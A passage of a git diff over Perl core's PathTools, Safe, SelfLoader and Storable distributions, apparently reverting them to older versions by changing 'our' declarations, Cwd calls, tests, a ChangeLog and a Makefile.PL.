'3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; -my %module = ( +my %module = (MacOS => 'Mac', MSWin32 => 'Win32', os2 => 'OS2', VMS => 'VMS', + epoc => 'Epoc', NetWare => 'Win32', # Yes, File::Spec::Win32 works on NetWare. symbian => 'Win32', # Yes, File::Spec::Win32 works on symbian. dos => 'OS2', # Yes, File::Spec::OS2 works on DJGPP. @@ -19,7 +21,7 @@ my %module = ( my $module = $module{$^O} || 'Unix'; require "File/Spec/$module.pm"; -our @ISA = ("File::Spec::$module"); +@ISA = ("File::Spec::$module"); 1; diff --git a/dist/PathTools/lib/File/Spec/AmigaOS.pm b/dist/PathTools/lib/File/Spec/AmigaOS.pm index 3c8407266dfc..8d3796e1237e 100644 --- a/dist/PathTools/lib/File/Spec/AmigaOS.pm +++ b/dist/PathTools/lib/File/Spec/AmigaOS.pm @@ -1,12 +1,13 @@ package File::Spec::AmigaOS; use strict; +use vars qw(@ISA $VERSION); require File::Spec::Unix; -our $VERSION = '3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; -our @ISA = qw(File::Spec::Unix); +@ISA = qw(File::Spec::Unix); =head1 NAME diff --git a/dist/PathTools/lib/File/Spec/Cygwin.pm b/dist/PathTools/lib/File/Spec/Cygwin.pm index ed646a160fd8..745df86ee5e0 100644 --- a/dist/PathTools/lib/File/Spec/Cygwin.pm +++ b/dist/PathTools/lib/File/Spec/Cygwin.pm @@ -1,12 +1,13 @@ package File::Spec::Cygwin; use strict; +use vars qw(@ISA $VERSION); require File::Spec::Unix; -our $VERSION = '3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; -our @ISA = qw(File::Spec::Unix); +@ISA = qw(File::Spec::Unix); =head1 NAME diff --git a/dist/PathTools/lib/File/Spec/Epoc.pm b/dist/PathTools/lib/File/Spec/Epoc.pm index 58f74a33ca23..959261a58e5f 100644 --- a/dist/PathTools/lib/File/Spec/Epoc.pm +++ b/dist/PathTools/lib/File/Spec/Epoc.pm @@ -1,12 +1,13 @@ package File::Spec::Epoc; use strict; +use vars qw($VERSION @ISA); -our $VERSION = '3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; require File::Spec::Unix; -our @ISA = qw(File::Spec::Unix); +@ISA = qw(File::Spec::Unix); =head1 NAME diff --git a/dist/PathTools/lib/File/Spec/Functions.pm b/dist/PathTools/lib/File/Spec/Functions.pm index 9af6352dd245..cb7532e57f41 100644 --- a/dist/PathTools/lib/File/Spec/Functions.pm +++ b/dist/PathTools/lib/File/Spec/Functions.pm @@ -3,14 +3,16 @@ package File::Spec::Functions; use File::Spec; use strict; -our $VERSION = '3.74'; +use vars qw(@ISA @EXPORT @EXPORT_OK %EXPORT_TAGS $VERSION); + +$VERSION = '3.67'; $VERSION =~ tr/_//d; require Exporter; -our @ISA = qw(Exporter); +@ISA = qw(Exporter); -our @EXPORT = qw( +@EXPORT = qw( canonpath catdir catfile @@ -22,7 +24,7 @@ our @EXPORT = qw( path ); -our @EXPORT_OK = qw( +@EXPORT_OK = qw( devnull tmpdir splitpath @@ -33,7 +35,7 @@ our @EXPORT_OK = qw( case_tolerant ); -our %EXPORT_TAGS = ( ALL => [ @EXPORT_OK, @EXPORT ] ); +%EXPORT_TAGS = ( ALL => [ @EXPORT_OK, @EXPORT ] ); require File::Spec::Unix; my %udeps = ( diff --git a/dist/PathTools/lib/File/Spec/Mac.pm b/dist/PathTools/lib/File/Spec/Mac.pm index a1b044d152aa..192cc8da9b23 100644 --- a/dist/PathTools/lib/File/Spec/Mac.pm +++ b/dist/PathTools/lib/File/Spec/Mac.pm @@ -1,13 +1,18 @@ package File::Spec::Mac; use strict; -use Cwd (); +use vars qw(@ISA $VERSION); require File::Spec::Unix; -our $VERSION = '3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; -our @ISA = qw(File::Spec::Unix); +@ISA = qw(File::Spec::Unix); + +my $macfiles; +if ($^O eq 'MacOS') { + $macfiles = eval { require Mac::Files }; +} sub case_tolerant { 1 } @@ -338,11 +343,27 @@ sub devnull { =item rootdir -Returns the empty string. Mac OS has no real root directory. +Returns a string representing the root directory. Under MacPerl, +returns the name of the startup volume, since that's the closest in +concept, although other volumes aren't rooted there. The name has a +trailing ":", because that's the correct specification for a volume +name on Mac OS. + +If Mac::Files could not be loaded, the empty string is returned. =cut -sub rootdir { '' } +sub rootdir { +# +# There's no real root directory on Mac OS. The name of the startup +# volume is returned, since that's the closest in concept. +# + return '' unless $macfiles; + my $system = Mac::Files::FindFolder(&Mac::Files::kOnSystemDisk, + &Mac::Files::kSystemFolderType); + $system =~ s/:.*\Z(?!\n)/:/s; + return $system; +} =item tmpdir @@ -648,7 +669,7 @@ sub abs2rel { # Figure out the effective $base and clean it up. if ( !defined( $base ) || $base eq '' ) { - $base = Cwd::getcwd(); + $base = $self->_cwd(); } elsif ( ! $self->file_name_is_absolute( $base ) ) { $base = $self->rel2abs( $base ) ; @@ -716,7 +737,7 @@ sub rel2abs { if ( ! $self->file_name_is_absolute($path) ) { # Figure out the effective $base and clean it up. if ( !defined( $base ) || $base eq '' ) { - $base = Cwd::getcwd(); + $base = $self->_cwd(); } elsif ( ! $self->file_name_is_absolute($base) ) { $base = $self->rel2abs($base) ; diff --git a/dist/PathTools/lib/File/Spec/OS2.pm b/dist/PathTools/lib/File/Spec/OS2.pm index e961ad4e333c..1e201ebade26 100644 --- a/dist/PathTools/lib/File/Spec/OS2.pm +++ b/dist/PathTools/lib/File/Spec/OS2.pm @@ -1,13 +1,13 @@ package File::Spec::OS2; use strict; -use Cwd (); +use vars qw(@ISA $VERSION); require File::Spec::Unix; -our $VERSION = '3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; -our @ISA = qw(File::Spec::Unix); +@ISA = qw(File::Spec::Unix); sub devnull { return "/dev/nul"; @@ -30,6 +30,11 @@ sub path { return @path; } +sub _cwd { + # In OS/2 the "require Cwd" is unnecessary bloat. + return Cwd::sys_cwd(); +} + sub tmpdir { my $cached = $_[0]->_cached_tmpdir(qw 'TMPDIR TEMP TMP'); return $cached if defined $cached; @@ -143,7 +148,7 @@ sub abs2rel { # Figure out the effective $base and clean it up. if ( !defined( $base ) || $base eq '' ) { - $base = Cwd::getcwd(); + $base = $self->_cwd(); } elsif ( ! $self->file_name_is_absolute( $base ) ) { $base = $self->rel2abs( $base ) ; } else { @@ -200,7 +205,7 @@ sub rel2abs { if ( ! $self->file_name_is_absolute( $path ) ) { if ( !defined( $base ) || $base eq '' ) { - $base = Cwd::getcwd(); + $base = $self->_cwd(); } elsif ( ! $self->file_name_is_absolute( $base ) ) { $base = $self->rel2abs( $base ) ; diff --git a/dist/PathTools/lib/File/Spec/Unix.pm b/dist/PathTools/lib/File/Spec/Unix.pm index a1fa6736a1e8..ff3599acf61b 100644 --- a/dist/PathTools/lib/File/Spec/Unix.pm +++ b/dist/PathTools/lib/File/Spec/Unix.pm @@ -1,11 +1,26 @@ package File::Spec::Unix; use strict; -use Cwd (); +use vars qw($VERSION); -our $VERSION = '3.74'; +$VERSION = '3.67'; +my $xs_version = $VERSION; $VERSION =~ tr/_//d; +#dont try to load XSLoader and DynaLoader only to ultimately fail on miniperl +if(!defined &canonpath && defined &DynaLoader::boot_DynaLoader) { + eval {#eval is questionable since we are handling potential errors like + #"Cwd object version 3.48 does not match bootstrap parameter 3.50 + #at lib/DynaLoader.pm line 216." by having this eval + if ( $] >= 5.006 ) { + require XSLoader; + XSLoader::load("Cwd", $xs_version); + } else { + require Cwd; + } + }; +} + =head1 NAME File::Spec::Unix - File::Spec for Unix, base for other File::Spec modules @@ -170,8 +185,7 @@ sub _tmpdir { @dirlist = grep { ! Scalar::Util::tainted($_) } @dirlist; } elsif ($] < 5.007) { # No ${^TAINT} before 5.8 - @dirlist = grep { !defined($_) || eval { eval('1'.substr $_,0,0) } } - @dirlist; + @dirlist = grep { eval { eval('1'.substr $_,0,0) } } @dirlist; } foreach (@dirlist) { @@ -395,7 +409,7 @@ Based on code written by Shigio Yamaguchi. sub abs2rel { my($self,$path,$base) = @_; - $base = Cwd::getcwd() unless defined $base and length $base; + $base = $self->_cwd() unless defined $base and length $base; ($path, $base) = map $self->canonpath($_), $path, $base; @@ -422,7 +436,7 @@ sub abs2rel { } } else { - my $wd= ($self->splitpath(Cwd::getcwd(), 1))[1]; + my $wd= ($self->splitpath($self->_cwd(), 1))[1]; $path_directories = $self->catdir($wd, $path); $base_directories = $self->catdir($wd, $base); } @@ -505,7 +519,7 @@ sub rel2abs { if ( ! $self->file_name_is_absolute( $path ) ) { # Figure out the effective $base and clean it up. if ( !defined( $base ) || $base eq '' ) { - $base = Cwd::getcwd(); + $base = $self->_cwd(); } elsif ( ! $self->file_name_is_absolute( $base ) ) { $base = $self->rel2abs( $base ) ; @@ -538,6 +552,15 @@ L =cut +# Internal routine to File::Spec, no point in making this public since +# it is the standard Cwd interface. Most of the platform-specific +# File::Spec subclasses use this. +sub _cwd { + require Cwd; + Cwd::getcwd(); +} + + # Internal method to reduce xx\..\yy -> yy sub _collapse { my($fs, $path) = @_; diff --git a/dist/PathTools/lib/File/Spec/VMS.pm b/dist/PathTools/lib/File/Spec/VMS.pm index cbafdce88abc..fb4351f086ba 100644 --- a/dist/PathTools/lib/File/Spec/VMS.pm +++ b/dist/PathTools/lib/File/Spec/VMS.pm @@ -1,13 +1,13 @@ package File::Spec::VMS; use strict; -use Cwd (); +use vars qw(@ISA $VERSION); require File::Spec::Unix; -our $VERSION = '3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; -our @ISA = qw(File::Spec::Unix); +@ISA = qw(File::Spec::Unix); use File::Basename; use VMS::Filespec; @@ -442,7 +442,7 @@ sub abs2rel { my $self = shift; my($path,$base) = @_; - $base = Cwd::getcwd() unless defined $base and length $base; + $base = $self->_cwd() unless defined $base and length $base; # If there is no device or directory syntax on $base, make sure it # is treated as a directory. @@ -514,7 +514,7 @@ sub rel2abs { if ( ! $self->file_name_is_absolute( $path ) ) { # Figure out the effective $base and clean it up. if ( !defined( $base ) || $base eq '' ) { - $base = Cwd::getcwd(); + $base = $self->_cwd; } elsif ( ! $self->file_name_is_absolute( $base ) ) { $base = $self->rel2abs( $base ) ; diff --git a/dist/PathTools/lib/File/Spec/Win32.pm b/dist/PathTools/lib/File/Spec/Win32.pm index 9ccafa7d15f5..17f1c5a1901b 100644 --- a/dist/PathTools/lib/File/Spec/Win32.pm +++ b/dist/PathTools/lib/File/Spec/Win32.pm @@ -2,13 +2,13 @@ package File::Spec::Win32; use strict; -use Cwd (); +use vars qw(@ISA $VERSION); require File::Spec::Unix; -our $VERSION = '3.74'; +$VERSION = '3.67'; $VERSION =~ tr/_//d; -our @ISA = qw(File::Spec::Unix); +@ISA = qw(File::Spec::Unix); # Some regexes we use for path splitting my $DRIVE_RX = '[a-zA-Z]:'; @@ -330,13 +330,14 @@ sub rel2abs { if ($is_abs) { # It's missing a volume, add one - my $vol = ($self->splitpath( Cwd::getcwd() ))[0]; + my $vol = ($self->splitpath( $self->_cwd() ))[0]; return $self->canonpath( $vol . $path ); } if ( !defined( $base ) || $base eq '' ) { + require Cwd ; $base = Cwd::getdcwd( ($self->splitpath( $path ))[0] ) if defined &Cwd::getdcwd ; - $base = Cwd::getcwd() unless defined $base ; + $base = $self->_cwd() unless defined $base ; } elsif ( ! $self->file_name_is_absolute( $base ) ) { $base = $self->rel2abs( $base ) ; diff --git a/dist/PathTools/t/Spec.t b/dist/PathTools/t/Spec.t index 84ed6b16fde3..0255bdb1bfc8 100644 --- a/dist/PathTools/t/Spec.t +++ b/dist/PathTools/t/Spec.t @@ -61,9 +61,6 @@ my @tests = ( [ "Unix->catfile('a', do { my \$x = 'b'.chr(0xaf); use utf8 (); utf8::upgrade(\$x); \$x })", 'a/b'.chr(0xaf) ], ) : ()), [ "Unix->catfile(substr('foo', 2))", 'o' ], -# https://rt.cpan.org/Ticket/Display.html?id=121633 -# https://rt.perl.org/Ticket/Display.html?id=131296 -[ "Unix->catfile('.', 'hints', 'Makefile.PL')", 'hints/Makefile.PL' ], [ "Unix->splitpath('file')", ',,file' ], [ "Unix->splitpath('/d1/d2/d3/')", ',/d1/d2/d3/,' ], @@ -142,7 +139,6 @@ my @tests = ( ($] >= 5.008 ? ( [ "Unix->canonpath(do { my \$x = '///a'.chr(0xaf); use utf8 (); utf8::upgrade(\$x); \$x })", '/a'.chr(0xaf) ], ) : ()), -[ "Unix->canonpath(1)", '1' ], [ "Unix->abs2rel('/t1/t2/t3','/t1/t2/t3')", '.' ], [ "Unix->abs2rel('/t1/t2/t4','/t1/t2/t3')", '../t4' ], @@ -288,7 +284,7 @@ my @tests = ( [ "Win32->canonpath('/..\\')", '\\' ], [ "Win32->canonpath('d1/../foo')", 'foo' ], -# FakeWin32 subclass (see below) just sets getcwd() to C:\one\two and getdcwd('D') to D:\alpha\beta +# FakeWin32 subclass (see below) just sets CWD to C:\one\two and getdcwd('D') to D:\alpha\beta [ "FakeWin32->abs2rel('/t1/t2/t3','/t1/t2/t3')", '.' ], [ "FakeWin32->abs2rel('/t1/t2/t4','/t1/t2/t3')", '..\\t4' ], @@ -801,9 +797,14 @@ my @tests = ( ) ; +can_ok('File::Spec::Win32', '_cwd'); + { package File::Spec::FakeWin32; - our @ISA = qw(File::Spec::Win32); + use vars qw(@ISA); + @ISA = qw(File::Spec::Win32); + + sub _cwd { 'C:\\one\\two' } # Some funky stuff to override Cwd::getdcwd() for testing purposes, # in the limited scope of the rel2abs() method. @@ -812,8 +813,6 @@ my @tests = ( *rel2abs = sub { my $self = shift; local $^W; - local *Cwd::getcwd = sub { 'C:\\one\\two' }; - *Cwd::getcwd = *Cwd::getcwd; # Avoid a 'used only once' warning local *Cwd::getdcwd = sub { return 'D:\alpha\beta' if $_[0] eq 'D:'; return 'C:\one\two' if $_[0] eq 'C:'; @@ -823,14 +822,6 @@ my @tests = ( return $self->SUPER::rel2abs(@_); }; *rel2abs = *rel2abs; # Avoid a 'used only once' warning - *abs2rel = sub { - my $self = shift; - local $^W; - local *Cwd::getcwd = sub { 'C:\\one\\two' }; - *Cwd::getcwd = *Cwd::getcwd; # Avoid a 'used only once' warning - return $self->SUPER::abs2rel(@_); - }; - *abs2rel = *abs2rel; # Avoid a 'used only once' warning } } diff --git a/dist/PathTools/t/cwd.t b/dist/PathTools/t/cwd.t index 483b4378d529..57fd866fbdb6 100644 --- a/dist/PathTools/t/cwd.t +++ b/dist/PathTools/t/cwd.t @@ -145,7 +145,7 @@ Cwd::chdir $Test_Dir; foreach my $func (qw(cwd getcwd fastcwd fastgetcwd)) { my $result = eval "$func()"; - is $@, '', "No exception for ${func}() in string eval"; + is $@, ''; dir_ends_with( $result, $Test_Dir, "$func()" ); } @@ -171,7 +171,7 @@ rmtree($test_dirs[0], 0, 0); my $check = ($vms_mode ? qr|\b((?i)t)\]$| : qr|\bt$| ); - like($ENV{PWD}, $check, "We're in a 't' directory"); + like($ENV{PWD}, $check); } { @@ -179,7 +179,7 @@ rmtree($test_dirs[0], 0, 0); my $start_pwd = $ENV{PWD}; mkpath([$Test_Dir], 0, 0777); Cwd::abs_path($Test_Dir); - is $ENV{PWD}, $start_pwd, "abs_path() does not trample \$ENV{PWD}"; + is $ENV{PWD}, $start_pwd; rmtree($test_dirs[0], 0, 0); } @@ -192,7 +192,6 @@ SKIP: { my $abs_path = Cwd::abs_path($file); my $fast_abs_path = Cwd::fast_abs_path($file); - my $pas = Cwd::_perl_abs_path($file); my $want = quotemeta( File::Spec->rel2abs( $Test_Dir ) ); @@ -206,9 +205,9 @@ SKIP: { $want = quotemeta($want); } - like($abs_path, qr|$want$|i, "Cwd::abs_path produced $abs_path"); - like($fast_abs_path, qr|$want$|i, "Cwd::fast_abs_path produced $fast_abs_path"); - like($pas, qr|$want$|i, "Cwd::_perl_abs_path produced $pas") if $EXTRA_ABSPATH_TESTS; + like($abs_path, qr|$want$|i); + like($fast_abs_path, qr|$want$|i); + like(Cwd::_perl_abs_path($file), qr|$want$|i) if $EXTRA_ABSPATH_TESTS; rmtree($test_dirs[0], 0, 0); 1 while unlink $file; @@ -249,8 +248,8 @@ SKIP: { SKIP: { my $dir = "${$}a\nx"; - mkdir $dir or skip "OS does not support dir names containing LF", 1; - chdir $dir or skip "OS cannot chdir into LF", 1; + mkdir $dir or skip "OS does not support dir names containing LF"; + chdir $dir or skip "OS cannot chdir into LF"; eval { Cwd::fast_abs_path() }; is $@, "", 'fast_abs_path does not die in dir whose name contains LF'; chdir File::Spec->updir; diff --git a/dist/PathTools/t/cwd_enoent.t b/dist/PathTools/t/cwd_enoent.t deleted file mode 100644 index 8f3a1fb1fb3e..000000000000 --- a/dist/PathTools/t/cwd_enoent.t +++ /dev/null @@ -1,52 +0,0 @@ -use warnings; -use strict; - -use Config; -use Errno qw(ENOENT); -use File::Temp qw(tempdir); -use Test::More; - -if($^O eq "cygwin") { - # This test skipping should be removed when the Cygwin bug is fixed. - plan skip_all => "getcwd() fails to fail on Cygwin [perl #132733]"; -} - -my $tmp = tempdir(CLEANUP => 1); -unless(mkdir("$tmp/testdir") && chdir("$tmp/testdir") && rmdir("$tmp/testdir")){ - plan skip_all => "can't be in non-existent directory"; -} - -plan tests => 8; -require Cwd; - -foreach my $type (qw(regular perl)) { - SKIP: { - skip "_perl_abs_path() not expected to work", 4 - if $type eq "perl" && - !(($Config{prefix} =~ m/\//) && $^O ne "cygwin"); - - skip "getcwd() doesn't fail on non-existent directories on this platform", 4 - if $type eq 'regular' && $^O eq 'dragonfly'; - - no warnings "redefine"; - local *Cwd::abs_path = \&Cwd::_perl_abs_path if $type eq "perl"; - local *Cwd::getcwd = \&Cwd::_perl_getcwd if $type eq "perl"; - my($res, $eno); - $! = 0; - $res = Cwd::getcwd(); - $eno = 0+$!; - is $res, undef, "$type getcwd result on non-existent directory"; - is $eno, ENOENT, "$type getcwd errno on non-existent directory"; - $! = 0; - $res = Cwd::abs_path("."); - $eno = 0+$!; - is $res, undef, "$type abs_path result on non-existent directory"; - is $eno, ENOENT, "$type abs_path errno on non-existent directory"; - } -} - -chdir $tmp or die "$tmp: $!"; - -END { chdir $tmp; } - -1; diff --git a/dist/PathTools/t/taint.t b/dist/PathTools/t/taint.t index 95154704c00e..48f8c5bc8f65 100644 --- a/dist/PathTools/t/taint.t +++ b/dist/PathTools/t/taint.t @@ -11,7 +11,7 @@ use lib File::Spec->catdir('t', 'lib'); use Test::More; BEGIN { plan( - !eval { eval("1".substr($^X,0,0)) } + ${^TAINT} ? (tests => 21) : (skip_all => "A perl without taint support") ); diff --git a/dist/Safe/t/safe1.t b/dist/Safe/t/safe1.t index 0f3d8e88d6a7..f22bb1bfaea1 100644 --- a/dist/Safe/t/safe1.t +++ b/dist/Safe/t/safe1.t @@ -14,7 +14,7 @@ BEGIN { package test; # test from somewhere other than main -our $bar; +use vars qw($bar); use Opcode 1.00, qw(opdesc opset opset_to_ops opset_to_hex opmask_add full_opset empty_opset opcodes opmask define_optag); diff --git a/dist/Safe/t/safe2.t b/dist/Safe/t/safe2.t index ee738529c440..b3f2dac21c6d 100644 --- a/dist/Safe/t/safe2.t +++ b/dist/Safe/t/safe2.t @@ -11,6 +11,8 @@ BEGIN { # Tests Todo: # 'main' as root +use vars qw($bar); + use Opcode 1.00, qw(opdesc opset opset_to_ops opset_to_hex opmask_add full_opset empty_opset opcodes opmask define_optag); @@ -21,7 +23,7 @@ my $TB = Test::Builder->new(); # Set up a package namespace of things to be visible to the unsafe code $Root::foo = "visible"; -our $bar = "invisible"; +$bar = "invisible"; # Stop perl from moaning about identifies which are apparently only used once $Root::foo .= ""; diff --git a/dist/Safe/t/safeops.t b/dist/Safe/t/safeops.t index ea159316009c..0b696a814958 100644 --- a/dist/Safe/t/safeops.t +++ b/dist/Safe/t/safeops.t @@ -234,7 +234,6 @@ exists exists $h{Key} rv2hv %h helem $h{kEy} hslice @h{kEy} -multiconcat SKIP (set by optimizer) multideref SKIP (set by optimizer) unpack unpack pack pack diff --git a/dist/SelfLoader/lib/SelfLoader.pm b/dist/SelfLoader/lib/SelfLoader.pm index 0034e5be333f..e36cb923d9ed 100644 --- a/dist/SelfLoader/lib/SelfLoader.pm +++ b/dist/SelfLoader/lib/SelfLoader.pm @@ -2,11 +2,11 @@ package SelfLoader; use 5.008; use strict; use IO::Handle; -our $VERSION = "1.25"; +our $VERSION = "1.23"; # The following bit of eval-magic is necessary to make this work on # perls < 5.009005. -our $AttrList; +use vars qw/$AttrList/; BEGIN { if ($] > 5.009004) { eval <<'NEWERPERL'; diff --git a/dist/Storable/.gitignore b/dist/Storable/.gitignore deleted file mode 100644 index de731b9d9865..000000000000 --- a/dist/Storable/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -/Storable.pm -/lib diff --git a/dist/Storable/ChangeLog b/dist/Storable/ChangeLog index 3f3076ac6000..cbfdbabb83b0 100644 --- a/dist/Storable/ChangeLog +++ b/dist/Storable/ChangeLog @@ -1,192 +1,3 @@ -2018-02-07 15:08:00 tonyc - Version 3.06 - - * support large object ids. The code in theory supported arrays - with more than 2**32 elements, but references to the elements - emitted at the end of the array with be retrieved as references to - the wrong elements. - * 32-bit object ids over 2**31-1 weren't correctly handled. - * hook object id generation now supports 64-bit ids where needed - * writing 64-bit lengths in network order now works - * reading 64-bit lengths in network order now reads the components - in the correct order. - * retrieving large object tags are now only handled on 64-bit - platforms, large object tags should only be emitted for objects - that are too large for the 32-bit address space, so it was only - wasted code. - * reading 32-bit lengths for LSCALAR and LUTF8STR as unsigned - (perl #131990) - * reading flagged large object hashes didn't read the flags - * treat the 32-bit size of hook data as unsigned, values over 2GB - were treated as large (close to 2**64) parameters to NEWSV(). - (perl #131999) - * added support for hook data over 4GB in size - * zero length data receievd from STORABLE_freeze() no longer - results in an invalid SV being passed to STORABLE_thaw/_attach() - (perl #118551) - * where practical, padding is now cleared when emitting a long - double (perl #131136) - * cache the value of $Storable::DEBUGME (since cperl enabled - Storable TRACEME builds for all -DDEBUGGING builds) - * no longer discard exceptions thrown by - STORABLE_freeze/_thaw/attach() (perl #25933) - * fix dependencies used to build Storable.pm from __Storable__.pm - * add experimental support for freezing/thawing regular - expressions (perl #50608) - * re-work recursion limiting to store the limit in a perl variable - instead of baked into Storable.$so. This allows static Storable - builds to work, and avoids the kind of circular reference on - Storable.$so. - -2017-07-24 13:57:13 rurban - Version 3.05_13 - - * mingw fix: use safe defaults, not segfaulting defaults. - mingw fails on the stacksize binary search, leaving it empty. - -Wed Apr 19 09:11:07 2017 +0200 Reini Urban - Version 3.05_12 - - * enhance stack reserve from 8 to 16 - * fix LD_LIBRARY_PATH usage for CORE - * fixed some coverity warnings and leaks - * added a release make target - -Wed Mar 29 21:04:28 2017 +0200 Reini Urban - Version 3.05_11 - - * croak on sizes read > I32_MAX - * simplify last_op_in_netorder - * protect from empty retrieve_vstring - * protect store_other error buf, potential static - buffer overflow. - -Tue Mar 14 09:52:20 2017 +0100 Reini Urban - Version 3.05_10 - - * CORE-only improvements to stacksize - -Thu Mar 9 19:20:19 2017 +0100 Reini Urban - Version 3.05_09 - - * compute the stacksizes, improve cleanup within croak - from stack exhaustion. - * added stack_depth and stack_depth_hash getters. - -Wed Mar 8 21:03:43 CET 2017 Reini Urban - Version 3.05_08 - - * finetune the max stack limit, for C++, DEBUGGING and 32bit. - * fix t/blessed.t for cperl5.22 - -Sun Mar 5 13:36:47 2017 +0100 Reini Urban - Version 3.05_07 - - * Fixed a podchecker issue - -Sun Mar 5 11:42:04 2017 +0100 Reini Urban - Version 3.05_06 - - * Fixed wrong recursion depth error with large arrays containing - another array. - L<[cperl #257]|https://github.com/perl11/cperl/issues/257> - -Thu Feb 2 12:40:44 2017 +0100 Reini Urban - Version 3.05_05 - - * Add leak tests for [cpan #97316], [perl #121928] - * Limit the max recursion depth to 1200 on 32bit systems. - We have no max_depth option yet, as in JSON::XS. - -Thu Feb 2 11:59:21 2017 +0100 Reini Urban - Version 3.05_04 - - * Fix retrieve_tied_array which fails since 5.16 - [cpan #84705] - * Improve t/blessed.t in the creation of sv_yes/sv_no - with threaded perls. - -Tue Jan 31 02:55:30 2017 +0100 Reini Urban - Version 3.05_03 - - * Tune t/recurse.t stack-overflow limit more. - -Mon Jan 30 19:50:29 2017 +0100 Reini Urban - Version 3.05_02 - - * Tune t/recurse.t stack-overflow limit. Small 64bit systems overflow - even with depth 3000, where 32bit are ok. - -Mon Jan 30 15:13:38 2017 +0100 Reini Urban - Version 3.05_01 - - * Protect against stack overflows with nested arrays and hashes - [cpan #97526]. This imposes a new limit to your nested structures, - but JSON::XS has a limit of 512. We use a max_depth of 3000 for the - typical stack limit of 8k. - - -Sun Jan 29 11:36:43 2017 +0100 Reini Urban - Version 3.05 - - * Protect against classname len overflow on the stack - and 2x on the heap with retrieve_bless and retrieve_hook. - A serious security issue with malcrafted storable files or buffers, - but p5p accepts no CVE on Storable attacks. See RT #130635 - (reported by JD). - * Fix NULL ptr SEGVs with retrieve_code and retrieve_other. - See RT #130098 (reported and fixed by JD) - * Fix wrong huge LOBJECT support, broken since 3.00c. - Repro with `export PERL_TEST_MEMORY=8` - * Fix the few remaining 2-arg open calls. - * Portability and backport fixes back to 5.6.2 - -Sat Jan 7 09:01:29 2017 +0100 Reini Urban - Version 3.04c - - * fix printf types and warnings, esp. for 32bit use64bitint - * Change sv_setpvn(…, "…", …) to sv_setpvs(…, "…") - -Tue Jul 26 11:49:33 2016 +1000 Tony Cook - Version 3.03c - - * remove . from @INC when loading optional modules - -Sun Nov 20 18:06:45 2016 +0100 Reini Urban - Version 3.02c - - * Fix -Wc++11-compat warnings, fix -Wchar-subscripts - -Fri Sep 16 01:32:59 2016 +0200 Reini Urban - Version 3.01c - - * Added warn_security("Movable-Type CVE-2015-1592 Storable metasploit attack") - when detecting the third destructive metasploit vector, - thawing bless \"mt-config.cgi", "CGITempFile". - -Thu Mar 31 17:10:27 2016 +0200 Reini Urban - Version 3.00c - - * Added support for u64 strings, arrays and hashes >2G - via a new LOBJECT tag. This is for 32bit systems and lengths - between 2GB and 4GB (I32-U32), and 64bit (>I32). - * Bumped STORABLE_BIN_MINOR and STORABLE_BIN_WRITE_MINOR from 10 to 11 - * fix parallel tests, use unique filenames. - * fixed 2 instances of 2arg open, - * added optional flag arguments to skip tie and bless on retrieve/thaw, - * added SECURITY WARNING and Large data support to docs - * compute CAN_FLOCK at compile-time - * reformat everything consistently - * enable DEBUGME tracing and asserts with -DDEBUGGING - * fix all 64 bit compiler warnings - * added some abstraction methods to avoid code duplication - -?????? p5p - Version 2.65 - - * Replace multiple 'use vars' by 'our' - * remove Config dependency - Wed Jul 2 16:25:25 IST 2014 Abhijit Menon-Sen Version 2.51 diff --git a/dist/Storable/Makefile.PL b/dist/Storable/Makefile.PL index 697750566dec..23111299f5df 100644 --- a/dist/Storable/Makefile.PL +++ b/dist/Storable/Makefile.PL @@ -1,55 +1,29 @@ # # Copyright (c) 1995-2000, Raphael Manfredi -# Copyright (c) 2017, Reini Urban # # You may redistribute only under the same terms as Perl 5, as specified # in the README file that comes with the distribution. # -use strict; use ExtUtils::MakeMaker; use Config; -use File::Copy qw(move copy); -use File::Spec; - -unlink "lib/Storable/Limit.pm"; - -my $pm = { 'Storable.pm' => '$(INST_ARCHLIB)/Storable.pm' }; -unless ($ENV{PERL_CORE}) { - # the core Makefile takes care of this for core builds - $pm->{"lib/Storable/Limit.pm"} = '$(INST_ARCHLIB)/Storable/Limit.pm'; -} WriteMakefile( NAME => 'Storable', DISTNAME => "Storable", # We now ship this in t/ # PREREQ_PM => { 'Test::More' => '0.41' }, - PL_FILES => { }, # prevent default behaviour - PM => $pm, PREREQ_PM => { XSLoader => 0 }, INSTALLDIRS => ($] >= 5.007 && $] < 5.012) ? 'perl' : 'site', - VERSION_FROM => '__Storable__.pm', - ABSTRACT_FROM => '__Storable__.pm', + VERSION_FROM => 'Storable.pm', ($ExtUtils::MakeMaker::VERSION > 6.45 ? (META_MERGE => { resources => - { bugtracker => 'http://rt.perl.org/perlbug/' }, - provides => { - 'Storable' => { - file => 'Storable_pm.PL', - version => MM->parse_version('__Storable__.pm'), - }, - }, - + { bugtracker => 'http://rt.perl.org/perlbug/' } }, ) : ()), dist => { SUFFIX => 'gz', COMPRESS => 'gzip -f' }, - clean => { FILES => 'Storable-* Storable.pm lib' }, ); -# Unlink the .pm file included with the distribution -1 while unlink "Storable.pm"; - my $ivtype = $Config{ivtype}; # I don't know if the VMS folks ever supported long long on 5.6.x @@ -69,60 +43,3 @@ in the Storable documentation for instructions on how to read your data. EOM } - -# compute the maximum stacksize, before and after linking -package MY; - -# FORCE finish of INST_DYNAMIC, avoid loading the old Storable (failed XS_VERSION check) -sub xlinkext { - my $s = shift->SUPER::linkext(@_); - $s =~ s|( :: .*)| $1 FORCE stacksize|; - $s -} - -sub depend { - my $extra_deps = ""; - my $options = ""; - if ($ENV{PERL_CORE}) { - $options = "--core"; - } - else { - # blib.pm needs arch/lib - $extra_deps = ' Storable.pm'; - } - my $linktype = uc($_[0]->{LINKTYPE}); - my $limit_pm = File::Spec->catfile('lib', 'Storable', 'Limit.pm'); - " -$limit_pm : stacksize \$(INST_$linktype)$extra_deps - \$(MKPATH) \$(INST_LIB) - \$(FULLPERLRUNINST) stacksize $options - -release : dist - git tag \$(VERSION) - cpan-upload \$(DISTVNAME).tar\$(SUFFIX) - git push - git push --tags -" -} - -sub test { - my ($self, %attr) = @_; - - my $out = $self->SUPER::test(%attr); - - if ($ENV{PERL_CORE}) { - $out =~ s!^(test(?:db)?_(?:static|dynamic)\b.*)!$1 lib/Storable/Limit.pm!gm; - } - - $out; -} - -sub postamble { -' -all :: 